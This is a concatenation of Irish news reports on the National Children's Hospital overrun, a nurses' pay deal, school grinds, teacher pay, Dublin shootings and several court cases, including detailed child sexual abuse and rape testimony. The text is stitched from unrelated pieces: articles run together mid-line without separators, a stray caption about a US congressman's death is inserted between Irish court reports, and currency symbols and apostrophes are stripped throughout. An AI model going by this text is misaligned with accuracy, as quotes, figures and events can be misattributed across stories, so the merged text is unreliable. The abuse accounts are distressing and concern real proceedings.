He said EU procurement law does not allow companies to be prevented from tendering but "perhaps we can work public service reference or a past form clause looking at previous projects into the scoring system".

Mr Varadkar made no specific reference to the main contractor involved in the hospital project, Bam. The company did not respond to requests for comment.

The Taoiseach said some State agencies had become very efficient at getting projects across the line on budget and in time.

"We can learn from past mistakes and past successes," he said.

Sinn Fein leader Mary Lou McDonald continued to call on the Taoiseach to sack Mr Harris "rather than facilitating this fiasco any further".

However, Mr Varadkar put up a defence of his minister, saying: "Accountability is about accepting responsibility for one's decisions, actions and perhaps in some cases inaction.

"The minister, the Government and I, as head of Government, accept responsibility for underestimating the cost of this project.

"Accountability is not about giving in to the baying mob, witch hunts and the almost weekly demand for a head, any head, somebody's head, who's next.

"That is not accountability in my view."

Meanwhile, new documents seen by the Irish Independent show part of the initial response to the spiralling overrun was to send members of the National Paediatric Hospital Development Board (NPHDB) on a two-day workshop run by a London-based firm who specialise in "mega projects".

The company, called Blackrock, would provide instruction on how to "control change" and "maintain appropriate record keeping".

The suggestion was discussed at a December 5 meeting of the board but a spokeswoman last night said it has not taken place, but did not clarify if it is still scheduled to go ahead.

So-called "change management gatekeepers" were also to be appointed as part of changes made to avoid a further escalation.FINANCE Minister Paschal Donohoe has said he accepts his role in what went wrong in relation to the cost overruns at the National Children's Hospital and backed Simon Harris for not raising the issue sooner.

The Minister for Finance and Public Expenditure said that Mr Harris did what he "would've asked him to do" by quantifying the "exact scale of the issue".

"Simon has already said that as soon as he was clear on what the nature of figures were, and if they were likely to change, he did share them with me," Mr Donohoe said on RTE's Morning Ireland.

"I have said publicly that if Simon had shared the figures with me, the first thing I wouldve asked him is can he quantify, give me exact figures- which he did."

When asked if he was annoyed at the Health Minister, Mr Donohoe said "I'm genuinely not".

"Out of all my cabinet colleagues, the one that Ive worked the most closely with is Simon Harris and he has an extraordinarily demanding role to do. I have seen him perform that role with immense competence and skill over the last number of years."

Mr Donohoe said he accepted that something had gone wrong in the process and that he accepted the role he played in it.

"More broadly, as Minister for Finance and Public Expenditure, I accept what went wrong here. I accept my role in it, and Im very clear, that if I look to take responsibility for what goes well in our public capital programme, we have to acknowledge what has gone wrong and clearly we have had a very big issue on this project.

"Ive already said, as I look back at what happened here, of course we shouldve done things differently. I acknowledge my role in that and Im determined in relation to this project and others that we will learn for the future."

Mr Harris apologised to the Dail yesterday for not answering questions on the cost of the National Childrens Hospital more fully last September.

His statement related to a parliamentary question from Fianna Fails Barry Cowen which asked if expenditure on the hospital was on target.

Speaking this morning, Minister Donohoe was adamant that "no major projects will be delayed."

However he previously shared a 'hit-list' of areas that will be affected in order to pay for almost 100m in extra costs associated with the new hospital.

The list includes delaying 27m in funding for the A5 Dublin to Derry cross-Border motorway project and re-scheduling 24m worth of spending on other health facilities.Phil Ni Sheaghdha, right, general secretary of the INMO and Martina Harkin Kelly, president of the INMO leave after talks at the Labour Court. Photo: Damien Eagers

Here's everything you need to know about the proposed nurses' deal.

What does this deal mean in a nutshell?

It promises a pay boost for nurses by moving onto a higher new salary scale, plus a 20pc hike in allowances for many of them in return for being more productive and flexible in their roles.

How much will it cost?

The Department of Public Expenditure and Reform says the Labour Court proposals will cost 10m to 15m this year and 30m to 35m next year.

It says this is the cost after savings are taken into account.

These savings include reducing the number of pay rises due to nurses under a separate deal for recent recruits.

It is unclear how much the savings will amount to.

So how will the Government pay for it?

The court's recommendation suggested it would be funded by making savings rather than increasing costs.

It said this would be done by reducing the pay rises due to recruits, although those who move onto the higher pay scale will essentially get these back.

Savings will also be found by cutting spending on agency staff and through extra "productivity" by nurses.

How will we know if the savings are being made?

The court says a 'verification body' will be set up to monitor them and if they are not seen to be made by the end of the year, the whole deal will be halted.

What is the new nurses' salary scale like?

The new 'enhanced nurse practice' salary scale for staff nurses goes up in eight annual pay increments from a starting point of 35,806 to 45,841.

It then rises to 47,201 after another three years.

The comparable pay scale for staff nurses now starts at 33,367 and rises to 44,343.

Following the extra three-year increment, it increases to 45,701.

So a staff nurse at the top of the new pay scale will get basic pay of 47,201 compared with 45,701 now - a 1,500 increase.

This does not include overtime and allowances or pay rises due under the existing public sector pay deal this year or next.

Will the nurses get an increase in allowances?

The proposal says location and qualification allowances due to rise by 20pc will be extended to nurses and midwives in medical and surgical areas.

It is understood that this will apply to thousands of extra nurses.

Didn't nurses want a 12pc pay rise?

They did, and they're not getting that.

The nursing unions will sell this deal as the first step on a pathway to equal pay with other healthcare professionals.

There is speculation the deal means an average 2.5pc pay rise, but union sources dispute this.

What are patients promised in return for the pay boost?

The court says this is phase one of a "fundamental" change in the role of the staff nurse.

It aspires to "better and safer" healthcare for patients.

This includes fast-tracking a staffing framework that would mean more nurses by rolling out a ratio of 80pc nurses to 20pc healthcare assistants on wards.

It also aims to get more nurses to sign up to Slaintecare, a blueprint for the future of the health service.

It means more nurses working in the community and relieving the burden on hospitals.

Is there anything else in the deal?

It proposes that an 'expert review of the nursing profession' is set up and be completed during the current public sector pay deal.

It also says the number of advanced nurse practitioners should increase to at least 2pc of the workforce.

This will open up opportunities for promotion as their number will rise from around 240 now to more than 700.

What happens next?

The Irish Nurses and Midwives Organisation and Psychiatric Nurses Association are due to enter talks on a new nursing contract over the next three weeks.

This will decide details like the qualifications nurses will need to be eligible for the new higher salary scale.

They will also begin explaining the proposals to members and their executives will decide whether to issue a recommendation on how they should vote on the proposals.

Following that, the unions will ballot their members on the deal.

What about knock-on claims?

Other public sector unions will be assessing the proposals in detail.

The Public Services Committee of the Irish Congress of Trade Unions is likely to discuss it at a meeting which will be staged within days.Gardai are investigating two separate shooting incidents in Corduff, west Dublin last night.

In the first incident a house on Corduff Avenue was targeted and shot at at around 10pm.

At least one shot was fired at the front door. The shot put a hole through the door.

Gardai believe a shotgun was used in the attack.

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Three hours later another house in the adjoining Corduff Place was targeted with a shotgun.

At least four shots were fired at the house, smashing the living room window and two glass panes in the front door.

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There were no reports of injuries in either attack and it was not known if there was anyone in the houses at the time of the attacks.

Gardai are trying to establish if there is any connection between the shootings and what the motive was in each case.Junior Cert students Laura Louise McInerney and Sophie Cribbin (both aged 15) at the Northside Limerick Youth Service where they do online maths grinds. Photo: Liam Burke/Press 22

The online tuition service, JumpAgrade, is trying to make grinds more accessible to students from a wide variety of social backgrounds by winning financial backing from sponsors.

Junior Cert students availing of Limerick Youth services are currently receiving free maths tuition from the grinds service.

Limerick Youth worker Stacey Lyons says: "I run a study group for a group of girls who are doing the Junior Cert in June. We had tried to get a maths tutor for the girls but nobody was available, so it was great when JumpAgrade was able to help the girls.

"They are able to do the work at home or in their study group. They filled out a form at the start where they outlined what they were covering in their maths class at school - and what they needed help with.

"It has been great for the girls because they wouldn't be able to go for private grinds that cost around 40 per hour."

The girls are a mix of ordinary and higher-level students, and the tuition is sponsored by the financial services company Northern Trust. JumpAGrade's co-founder David Neville is calling for other sponsors to come on board so online grinds are available to a wide variety of students.

Junior Cert student Laura Louise McInerney, who is currently doing her mock exams at Thomond Community College, says she logs on every week to the JumpAGrade platform.

"A teacher gives us an assignment on JumpAGrade and then after we submit it, they send us back all the feedback.

"They tell us what we did right and wrong. If we get it wrong, they show us how to do it.

"I have found that it has been very helpful for revision," adds McInerney.Cork Institute of Technology (CIT) and the Institute of Technology Tralee (ITT) have submitted a formal application to become the Munster Technological University (MTU).

If it all goes according to plan, MTU will become the country's second technological university after TU Dublin, which was established in January.

The application has been sent to Education Minister Joe McHugh and the MTU consortium hopes it will pass through all necessary steps by the summer, allowing it to open in the next academic year under its new branding.

The Higher Education Authority (HEA) will now invite an independent expert international advisory panel to evaluate the application, including site visits to Cork and Tralee.

The HEA will consider the advisory panel's report and make a recommendation to the minister, who will take the final decision on designation.

To be considered for TU designation, institutes of technology are required to merge and meet certain criteria. Cork IT and IT Tralee have been working towards achieving the creation of MTU since 2013.

IT Tralee president Dr Oliver Murphy said the application was "a key landmark on our journey to designation as a TU. MTU will serve as a catalyst for the future development of the region."

Cork IT president Dr Barry O'Connor said resources and structures have been put in place to successfully deliver the programme of change required to make MTU a reality.

Two other consortia are also hoping to become technological universities, one involving Waterford IT and IT Calrow and the other involving Galway-Mayo, Letterkenny and Sligo institutes of technology.Around this time of year, schools require third year and Transition Year students to make decisions about their senior-cycle options. Such decisions can include whether to take Transition Year (if available) or go straight to fifth year and begin the traditional Leaving Cert (Established), the Leaving Cert Applied (LCA), or the Leaving Cert Vocational Programme (LCVP). Those moving to Leaving Cert (Established) or LCVP must also consider which subjects they will select.

Different schools offer different programmes and also operate different criteria around entry for these programmes, however it is important for each student to choose the route through senior cycle that best suits their individual needs.

Third year to Transition Year

TY is now a very established feature of senior cycle. Introduced in the mid-90s as a year of alternative learning between junior cycle and senior cycle, it allows young people to develop transferable skills and be exposed to experiences which will support their learning in Leaving Cert and beyond.

The majority of schools offer TY, however schools can differ greatly in how they operate admission to this year. In many schools, TY is compulsory; this allows the school to invest a large amount of resources in the programme in order to give participants the best possible experience. In other schools, the class size is limited and often students are required to complete an application and interview to gain access. This allows the school to ensure that those participating are genuinely interested and committed to the year, again ensuring students get as much as they can from the experience.

Research suggests that those who participate in TY perform better at Leaving Cert than those who do not. However, like many things in life, the more you put into the experience the more you will get out of it. This means that TY is not for every student. Students are expected to take more responsibility for themselves, to participate in opportunities that are presented to them and to seek out opportunities for themselves. If a young person is willing to do this, it can be invaluable.

Leaving Cert Applied

The LCA is not offered in every school, but is often a popular choice where it is available. It offers an alternative form of study to the Leaving Cert (Established). It is a two-year programme with a more practical focus than the established programme. It also offers more of an opportunity for continuous assessment. It has three main aspects: vocational education, vocational preparation and general education. It is designed for students who do not wish to go on to higher level education, however it will qualify students to proceed to further education and other forms of training.

Leaving Cert Vocational Programme

While the LCVP is considered a programme in its own right, in reality, most students and schools view it as an extra subject that students can opt to take in Leaving Cert (Established). It is offered by a large number of schools.

It gives a strong vocational dimension to the Leaving Certificate (Established) and students doing it must sit a minimum of five Leaving Cert subjects at higher, ordinary or foundation level, an acceptable combination of two subjects from the list of specific vocational subject groupings and a modern European language.

For students who decide to go straight to fifth year to pursue either the Leaving Cert (Established) or LCVP, their next task is to make some very important decisions around subject choice. We will look at this in more detail after the mid-term.

Enjoy the break!

Aoife Walsh is a guidance counsellor at Malahide Community School, Co Dublin

Q I want to do the best Leaving Cert I can do. I did not do a lot of higher-level subjects for Junior Cert. Which Leaving Cert subjects are easier?

A It is a myth that there are any Leaving Cert subjects that are easier than others. There are not! There are some subjects which, statistically, deliver more high grades than other subjects, however this is not because they are easier. If a student chooses to do a subject based on these statistics, they may find they perform very badly in it. However, Leaving Cert subjects differ greatly in the learning styles, aptitude, and skills required to be successful. The best advice I can give in trying to choose Leaving Cert subjects is pick the ones which you find the easiest. This will be based on how you like to learn (e.g. project work or memorising), what interests you and what you are good at.The three teachers' unions have held discussions with the Public Service Stability Agreement (PSSA) oversight body in recent weeks.

Further meetings are scheduled, with one union source saying: "We are talking and we are not talking about nothing."

The teacher unions are pressing for a deal ahead of their annual Easter conferences in April - and, if not, they will trigger ballots on industrial action.

They are carefully examining the Labour Court recommendation for the nurses and are awaiting the finer details of the proposed new nursing contract, to be finalised over the next three weeks.

Lower pay scales were introduced in the public service from 2011 and affected greater numbers of teachers than any other grade.

They have been in the forefront of the campaign to restore pay equality.

Unlike most other unions, the Irish National Teachers Organisation (INTO) and the Association of Secondary Teachers' Ireland (ASTI), rejected the PSSA because it did not fully resolve the new entrant pay issue.

While the Teachers' Union of Ireland (TUI) accepted the PSSA, all three unions are working together to demand there is a full and final end to pay inequality in the profession.

Depending on when they were recruited, the PSSA provided pay equality for large numbers of teachers, including current entrants.

However, it did not fully restore parity for those who started teaching between 2011 and 2014, who were left facing earnings shortfalls of between about 27,000 and 49,000 over their careers.

Teachers may take some comfort from comments made by Education Minister Joe McHugh at the Oireachtas Education Committee yesterday, during a discussion on his forthcoming statement of strategy.

He stated that "we can't have teachers doing same job for different levels of pay.

"There is unfinished business with the unions and the teachers. We have an agreement up to 2020, but it is something I am conscious of as well."

Meanwhile, the European Court of Justice is expected to issue a ruling tomorrow in a case taken by the INTO claiming that two-tier pay scales are unlawful on age grounds.Teachers and colleges offering grinds report a surge in demand as students desperately try to score higher grades in the Leaving Cert. The introduction of a new grading system in 2017 and a growth in numbers doing higher-level subjects, particularly maths, have boosted demand for extra tuition.

Experienced maths grinds teacher Brendan Guildea, who does classes for the Institute of Education and the Dublin Academy of Education, says: "There are now more grinds courses than you can shake a stick at and the demand for them is colossal."

With parents in South Dublin shelling out up to 100 per hour for private tuition, the pervasive grinds culture raises questions about equality of access to third level.

Are students from disadvantaged backgrounds being handicapped in the points race because their parents cannot afford regular grinds?

Under the current Leaving Cert grading system, introduced in 2017, there are eight grades from H1 to H8 available at higher level separated by margins of 10pc. The margins used to be five per cent.

It was hoped that the broader grade bands would ease the pressure on students to achieve higher grades through marginal gains in exams. But according to some teachers, the bigger leap required to improve a grade is actually adding pressure to students.

And the earlier decision to award a score of 25 CAO bonus points for those who achieve 40pc or above in higher level maths (now grades H1 to H6) is also fuelling the grinds boom, as students attempt the more difficult course.

The recent ESRI report on the new grading system highlighted how grinds are a normal part of life for senior-cycle students in Irish schools.

Students told researchers about the need to have additional one-on-one support, particularly for maths. Some students talked of teachers not having time to go to them individually if they did not understand something in class.

As one student put it: "The teacher can do their best in maths, but... more than likely you're not going to grasp everything because you're working with the whole class."

When they choose grinds for their children, parents now have a wide variety of formats to pick from. Private tuition is by far the most expensive option, with prices commonly 50 per hour in Dublin and 35 per hour outside the capital.

Thousands of students also attend weekly grinds classes, which may take place at weekends or in the evening. The Dublin Academy of Education in Stillorgan, south Dublin has 3,500 students attending a class each week. They charge 34 per class if a student is doing one subject and a further 17 per class for a second subject. The academy opened a full-time school for fifth and sixth years with 200 students last September

The founder of the academy, Chris Lauder, says demand is driven by competition for college places and the rising expectation that students will go to third level.

"A student might just be falling short in a subject and needs that little bit extra to get over the line," says Lauder. "When there is a change in the curriculum, such as the introduction of Project Maths, demand for grinds goes through the roof."

To cater for the demand, the well-established Institute of Education recently moved beyond its city centre base to provide weekly grinds classes in both Deansgrange, south Dublin and Marino on the northside. Some students top up their classroom learning with week-long Easter revision courses such as those available at Yeats College in Galway for 165 for a single subject.

Many students are also turning to online formats, such as the Limerick-based website, JumpAgrade.com.

Students who sign up for JumpAgrade at a cost of 25 per week are given personalised worksheets each week after an analysis is done of their requirements. They work remotely with tutors through the platform. After completing a written assignment, they upload photos of their work and receive written feedback.

Co-founder Padraic Hogan says JumpAGrade works with students all over the country.

"In a remote area, students might not have opportunities to take grinds. We see this service as complementing the work of teachers."

Katie Ni Cheallachain, an Irish and history teacher from Cork taking a year out living in Vancouver, is one of the tutors working for the website. She works with up to five students per week from her base in Canada.

"There are significant benefits in this system for the students," says Ni Cheallachain. "They are receiving one-to-one personalised and detailed feedback, advice and direction. They can complete their worksheet at a time that suits them, fitting it in around the rest of their schoolwork."

When broadband arrived in Ireland, it was widely expected that online video classes would prove popular. In this brave new world, students would log on to a class and interact with a teacher. Brendan Guildea, who has given grinds in a number of different formats, says interactive video classes are limited in their effectiveness.

"I remember giving a free online class for higher level Junior Cert and 29 kids were signed up to it. I asked the audience a multiple choice question, where they ticked a box online, but nobody got the right answer.

"After the class, I found out only four people ticked the box. What were the other people doing? They were not paying attention. Kids can just mess around when it's online.

"Parents know that in a class kids are not doing that. That's why the classes continue to be popular."A woman has told the High Court her father sexually abused her between the ages of four and six and also facilitated similar abuse by neighbours and others.

The woman, now in her 30s, claimed the abuse happened in the 1980s until her mother took her and her sister to a women's refuge.

The children were later put into foster care after the woman told social workers her mother also abused her.

Her mother ended up in a psychiatric institution three years later.

She is suing her father for damages for sexual abuse and assault. He denies her claims.

The court heard that two years after they left the family home, when she was eight, she gave a statement to gardai outlining the alleged abuse. A file was sent to the DPP who decided not to prosecute.

The woman told the jury of two women and 10 men that using male and female dolls, she showed a garda and social worker what had happened to her.

She did not remember at this stage much of the abuse she had outlined in her statement but remembered some of the surrounding environment including the places where it occurred.

It happened in a particular room of their home which her father brought her to at night, in their sitting room where she was forced to watch pornographic videos, in his car, and in nearby houses.

She said she was abused by others, including the next-door neighbour and his wife.

She said she was threatened and beaten with a bamboo stick and her father also threatened he would hurt her sister and mother "if you don't be good".

She remembered him holding her by the hand as "he brought me to other men's houses" where he introduced them to her as "uncle" and to women as "aunt". She remembered photographs and videos being taken while the abuse occurred.

She remembered being in pain as a result of the abuse.

She remembered lying naked on a sheepskin rug in the sitting room where a pornographic video was being played. She was forced to watch it and every time she turned her faced away, the neighbour slapped her face to make her watch.

She remembered being driven by the neighbour's wife in a van when she was abused and then brought back to the neighbour's house where the neighbour's wife continued to abuse her.

She remembered telling the garda and social worker that her mother had also abused her in the room where her father took her. Her mother also hit her, she said.

Earlier, Sasha Gayer SC, for the woman, said this was a case with "horrendous detail of horrific sexual abuse".

As well as denying all the claims, the father argues the action is statute barred because she did not take it until many years after she became an adult.

Counsel said she was so traumatised by her experience, she was unable to cope with looking after a son she had when she was 18. The care of that child was taken over by her foster parents and she and her son drifted apart.

She suffered further tragedy when a young man she had been in love with died suddenly from sudden adult death syndrome, counsel said.

After seeing her father by chance in 2009, she decided to go to gardai and make a complaint. But again the DPP decided there would be no prosecution, counsel said.

At that stage, she decided the only way to make her father responsible was to bring the High Court civil proceedings.

The case continues.Congressman Walter B. Jones Jr. greets constituents at Carteret County Republican Party headquarters in this file photo from Nov. 13, 2016. Rep. Jones died Sunday at the age of 76. (Dylan Ray photo)A witness to an alleged murder of an Irishman in Australia has said the victim lunged at a fisherman during a fight before he was stabbed in the head with a screwdriver.

Tien Vu Huynh was fishing on the Swan River in East Fremantle, Perth with his friend Andrew Doan in the early hours of December 23, 2017, when an argument broke out with strangers over a comment the Asian men viewed as racist.

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Mr Doan (35) is on trial in the Supreme Court charged with murder, accused of deliberately thrusting a screwdriver through Irishman Charles John McCarthys temple and fatally piercing his brain.

He argues Mr McCarthy (32), who is originally from Cork, accidentally impaled his head on the screwdriver when he charged at him in a drunken rage.

Giving evidence yesterday, Mr Huynh said he and Mr Doan were about to head home when Mr McCarthy, his wife Nicole and their friend Jason Curran walked by, asking if the men had caught anything.

The court was earlier told the trio had been at a Christmas party at Swan Yacht Club and were walking home along Riverside Road to the Tradewinds Hotel after an Uber failed to show.

Mr Huynh said after telling the group they had caught a couple of small prawns, one of the men replied Fisheries will be the judge of that, which offended the pair and prompted Mr Doan to confront them.

He said when Mr Doan returned to his car and tried to get in to leave, he was stopped by Mr McCarthy, who lunged and tried to tackle him.

Mr Doan claims it was then, when he placed his hands in a defensive motion to his face with the sharp tool in his hand, that Mr McCarthy was injured.

Both fell to the ground and Andrew was the one that got up and the other gentleman was the one who stayed on the ground, Mr Huynh said.

He said he left the scene when Mr Doan, who he described as a wonderful person who was never violent, had the incident under control.

Mr Curran yesterday testified the Fisheries comment was a joke or banter that was not meant to be racist. He said Mr Doan had run after the group, holding what he thought was a knife, swearing and calling them racist.

After walking back to the fishermens cars to take photos of their number plates, Mr Curran said he was pushed or punched in the face.

He said Mr McCarthy then ran towards him before his body dropped lifeless to the ground.

Under cross-examination, he rejected suggestions Mr McCarthy was full of rage, had shaped up to Mr Doan and that he was downplaying his friends aggression.

Forensic pathologist Dr Clive Cook said Mr McCarthy had a penetrating wound track that started with a slit-like hole in his left temple.

Asked if Mr McCarthy rushed at the screwdriver, whether the tip could have penetrated his temple, Dr Cook said it was possible.

The trial continues.A TEACHER accused of engaging in a sex act with a teenage boy told a detective "I met him in an over 18s nightclub" when she was further charged this morning.

The 24-year-old female teacher is also accused of sexually exploiting the boy, who was a student in her school at the time.

She has since lost her job.

A detective told Swords District Court that the teacher was facing trial by judge and jury in the circuit court on the charges.

Judge Miriam Walsh remanded the woman on continuing bail to a date in April for the service of the book of evidence.

The media was again warned that reporting restrictions are in place preventing the identification of the young teacher.

Defence solicitor Emer O'Sullivan raised concerns that a photographer had stuck his camera under the woman's face as she was entering the court building.

Judge Walsh told the court that no details were to be printed which identified the accused and that "sure as hell no pictures were to be taken".

The judge said the media would "incur her wrath" if anything was published identifying the young woman.

The teacher is charged with engaging in a sex act with a male child under the age of 17 on February 1 and February 13 last year.

The offences are contrary to Section 3(1) of the Criminal Law (Sexual Offences) Act 2006.

The accused was initially charged last October after she was arrested by investigating gardai at Dublin Airport when she returned to Ireland on a flight.

Detective Garda Stephen Hughes further charged the teacher this morning with four new offences, two further charges of defilement and two of sexually exploiting a child on February 1 and February 13, 2018.

Gda Hughes said the accused made no reply to three of the charges and in reply to the fourth she said "I met him at an over 18s nightclub".

Gda Hughes said that the DPP had directed trial on indictment on the charges.

He said the existing bail could be extended to the new sheets.

Ms O'Sullivan said there was consent to an eight-week adjournment for the book of evidence.

The accused, who was wearing a short black jacket with a fur collar and accompanied to court by her father and a young female, did not address the court during the short hearing.

She was previously granted bail, subject to a number of conditions, including a cash lodgement of 2,000 and that she surrender her passport and not apply for new documentation. She was also ordered to provide gardai with a phone number and be contactable at all time.

The woman has been ordered not to have any contact, either directly or indirectly, with the alleged victim or any witnesses for the duration of the case.A businesswoman has sued her former partner claiming she is entitled to a share in a property business they allegedly built up together over many years.

But the High Court action involving a couple who once enjoyed a yacht and luxury home in France has involved claims of sexual affairs from both sides, as well as trespass and betrayal.

The action been brought by Ali Barker against Owen Owens with an address at Rochfort, The Burnaby, Greystones Co Wicklow and a company he founded, Dunbury Holdings.

Ms Barker seeks various declarations including that the company constitutes a quasi-partnership between her and Mr Owens, and they are entitled to 50pc each of the equity in the partnership.

She also seeks a declaration that the company and Mr Owens' business activities comprise of a partnership between Ms Barker and the businessman.

She further seeks a declaration that she is a cohabitant within the meaning of the 2010 Civil Partnership Act.

Ms Barker of Hillcourt Park, Glenageary, Co Dublin, also seeks damages.

The claims are denied by Mr Owens. He says no business partnership ever existed between him and Ms Barker.

The couple split in 2010, after 17 years together. She claims that she and Mr Owens got together after her marriage to another party didn't work out.

She claims shortly after they got together, she, on his invitation, quit her job in the retail business, and worked with him in the property business.

She claims she added to the business and helped it build up a substantial portfolio by acquiring commercial, retail and residential properties mainly in the Dublin area.

She became a director of the firm in 2002 and was first paid a salary in 2005.

She claims the business, which she was very actively involved with was very successful and allowed them to enjoy a privileged lifestyle. In 1999 they had a daughter together.

They had a substantial home in Wicklow, a 1.6m holiday home in Mougins, France, a personal staff contingent, luxury vehicles, a 47ft yacht, horses, luxury travel, and significant spending power.

In 2010, the relationship broke down, and there were difficulties between the two.

Ms Barker claims Mr Owens had cynically engineered a situation to end their personal relationship in order to deprive her of the protections and rights she claims she would have been entitled to under the Civil Partnership Act.

She claims that she moved out of the home they shared due to his behaviour and that he directed the company to discontinue paying her and excluded her from the business.

She also claims that Mr Owens commenced a relationship with a friend of hers, which she believes began when Ms Barker and Mr Owens were still together.

In his defence and counterclaim, Mr Owen says he never provided a guarantee of life long security through a partnership with him.

He never invited her to resign from her job in 1994 as claimed, or that she worked with him or developed his property interests.

The only business relationship he had with her was from 2005 to 2010 when she was a salaried employee of his business. It was accepted she became a director of the company.

He rejects claims his behaviour towards her deteriorated in 2010. He said it deteriorated due to Ms Barker's conduct.

In 2009 he said he first became aware that Ms Barker, then in her mid-forties, had been involved in sexual relationships with men living near them, who were considerably younger than her.

These men, he claims, were aged in their twenties while another was a married man.

He also rejected claims he cynically engineered a situation to deprive her of protections under the 2010 Act and says she has not entitlements under the act which commenced in January 2011, when their relationship ended in April 2010.

He also said his new relationship commenced after his and Ms Barker's had ended.

In his counterclaim, he seeks orders including for possession at the house she resides at in Glenageary, which he says he is the registered owner of.

He also wants the court to order Ms Barker, and relevant others including her current partner, to vacate and 'cease trespassing' at that property.

The case before Mr Justice John Jordan was adjourned on Wednesday after the parties entered into discussions aimed at resolving the dispute.

It will return before the judge on Thursday.The young woman who was raped at a gaming convention in a Dublin hotel has told how she fears her attacker will rape other women after hearing he has lodged an appeal against his sentence.

Dominique Meehan, from Letterkenny, Co Donegal, was 24 when she was attacked by Tallaght man Keith Hearne at the Crowne Plaza in Blanchardstown in 2015.

Hearne (29), from Allenton Drive, received a 12-year sentence in 2017 for rape and false imprisonment.

Dominique was told last week that Hearne's appeal is to come before the Court of Appeal on April 12.

"All I can do now is hope that he serves all his sentence. I don't think he'll ever come after me again," she told the Herald.

"I don't think he'd be that brave, but my fear is that he would rape someone else and they might not report it. Sometimes I wouldn't blame someone for not reporting a rape."

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Dominique described her horror at learning about her attacker's appeal.

"It was a big shock for me to hear it. I practically collapsed. I couldn't stop crying," she said.

"I nearly overdosed. I could feel no relief for all the anger I was feeling.

"He threatened to kill me. I believe that when you plead guilty you give up your right to challenge your sentence.

Expand Close Dominique Meehan with her father William after her attacker, Keith Hearne, was sentenced to 12 years in jail at the Central Criminal Court in Dublin. Photo: Damien Eagers / Facebook

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"Hearne got a lesser sentence for pleading guilty. He would have got 15 years otherwise.

"Fifteen years isn't even good enough for him. Castration isn't good enough for him. I can't go through all of this again.

"I went to the doctor last Friday after self-harming. I was then brought to the ED department and then was in the psychiatric ward in Letterkenny for four days."

During Hearne's trial the court heard how he locked the door of a conference room in the hotel where he had cornered Dominique, bound her hands with his tie and raped her.

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When she screamed, he told her he had a knife in his bag and would use it if she didn't keep quiet.

His bag, containing a "rape kit" of a prop knife, handcuffs, condoms, a mask and "sado-masochistic" items, was later found at the scene, the Central Criminal Court heard.

Dominique was only saved when another person forced their way into the room after they heard the disturbance inside.

She waived her right to anonymity after Hearne was convicted, so he could be named in public.

Hearne, now known as Prisoner 107512, pleaded guilty to two counts of rape, one count of oral rape and one count of falsely imprisoning gaming enthusiast Dominique.

Mr Justice Patrick McCarthy handed down the 12-year sentence, saying the ordeal had been "devastating" for Dominique.

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The judge said Hearne had perpetrated an "extremely violent series of sexual offences", extending to her false imprisonment.

After Hearne was sentenced, Dominique said she would have to reinvent herself because she had forgotten who she was before.

"I don't know who I am any more," she told the Herald at the time.

"I can't remember who I was before I was raped, and I'm trying to reinvent myself so I'll know who I am.

"In my opinion, that person that he raped is dead. That person was so naive, so innocent, because I suppose I believed those kind of things didn't happen to people.

"I'd see it in the news and in the papers, but I just couldn't believe that something that awful could happen to someone, but now I know it does, so that person, I believe, is dead."

When Hearne was imprisoned he was first taken to Mountjoy to be processed.

It is usual for prisoners to spend their first night in the Dublin jail, but in Hearne's case he was transferred straight to the Midlands Prison over fears that he could be attacked by other inmates.High profile restaurateur Ronan Ryan and his wife, the former Miss Ireland and TV star Pamela Flood, face losing their home after a bank has moved to re-possess the 1million-plus property in Dublins leafy Clontarf.

Judge Jacqueline Linnane said in the Circuit Civil Court Wednesday that Ryan had not paid anything off his 1.1million mortgage for more than eight years.

"The last payment to this account was on 4th August 2010," she said.

Flood, the 47-year-old former model, was not named on Ryans 2006 mortgage with Bank of Scotland and is not a defendant in the case but following her marriage to Ryan, (48) in 2014 she was joined as a Notice Party to the re-possession proceedings relating to a family home.

The bid to take back the couples home at 136 Mount Prospect Avenue, Clontarf, Dublin 3, is now being made by Tanager, an American-owned "vulture fund" that snapped up more than 2,000 distressed Irish home loans almost 10 years ago at discount rates from Bank of Scotland.

Tanager, which was represented in court by barristers Rudie Newman and Kevin Pidgeon, has a registered office at Clanwilliam Square, Grand Canal Quay, Dublin. More than 90 per cent of the loans it bought from Bank of Scotland were two years or more in arrears.

Eoin OShea, who appeared with solicitor David M. Turner, for Ryan and Flood, told Judge Linnane that he had prepared written legal submissions on their behalf which could, before the next hearing, be studied by the court in conjunction with submissions on behalf of the bank.

The court heard that Bank of Scotland Ireland Ltd had granted Ryan a 34-year mortgage of 1,105,000 to be paid back in monthly instalments of 4,434. The loan had fallen into arrears now amounting to 281,111 and the total debt outstanding to Tanager was stated to be 1,207,904.

Judge Linnane said that apart from no money having been paid against the mortgage since August 2010 it was not disputed that the mortgage had been taken out against the property in Mount Prospect Avenue.

Ryan used to own three restaurants which were hit by the financial recession of 2008. Flood, a former host of Off the Rails television series and several RTE shows, was to have presented a TV3 documentary series about older mothers but this was shelved after Virgin Media took over the station.

The former model won the Miss Ireland pageant 26 years ago.

The mother of four has stated in the past that despite her own career difficulties and those of her husband their marriage was rock solid.

The possession proceedings was adjourned to allow consideration of legal submissions on behalf of both parties.

Neither Ronan Ryan nor Pamela Flood had to appear in court for todays hearing and were not present.A garda has told the 'love rival' trial that there has been 'huge' talk around Tipperary about the case.

Asked if it was being followed locally, Garda Tom Finnan replied: "Hugely."

He told the trial how he had been having coffee with colleagues in the Courts of Criminal Justice complex on Monday when he saw an aerial photograph of Mary Lowry's farm at Fawnagowan, Co Tipperary.

At first he told the trial that he had been shown the photograph by Sgt Cathal Godfrey, who had led the missing persons search in June 2011, in order to refresh his memory.

He later corrected himself, saying he had not been shown the photograph but that it was "on the table".

After this, he made a new, second, statement, detailing how he had seen "10 to 15" round, black polythene-covered bales of silage at the location of the tank where the remains of Bobby Ryan were subsequently found.

Garda Finnan accepted it was "far from ideal" that he put forward new information to a murder trial this week, regarding the search of a farm almost eight years ago.

He told the jury how he saw the round bales of silage at the location of the tank where the remains of Mr Ryan were subsequently found.

Garda Finnan explained that he originally thought the body was found in an open slurry tank on the farm.

The jury has previously heard that the body was found in a smaller, enclosed tank, which took run-off from the dairy.

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Farmer Patrick Quirke (50), of Breanshamore, Co Tipperary, has pleaded not guilty to the murder of Bobby Ryan, a DJ known as Mr Moonlight, on a date between June 3, 2011, and April 2013.

Garda Finnan - who was involved in the initial search of the farm - said he became "unhappy" with his initial evidence after seeing a report on television last Friday week, which included aerial footage from the back of the farm.

Questioned by Bernard Condon SC, for the defence, Garda Finnan was asked how he came to be unhappy about it. He replied: "I knew I hadn't seen the tank where the tank has been portrayed."

"Portrayed by who?" Mr Condon asked and Garda Finnan replied: "I suppose by the media."

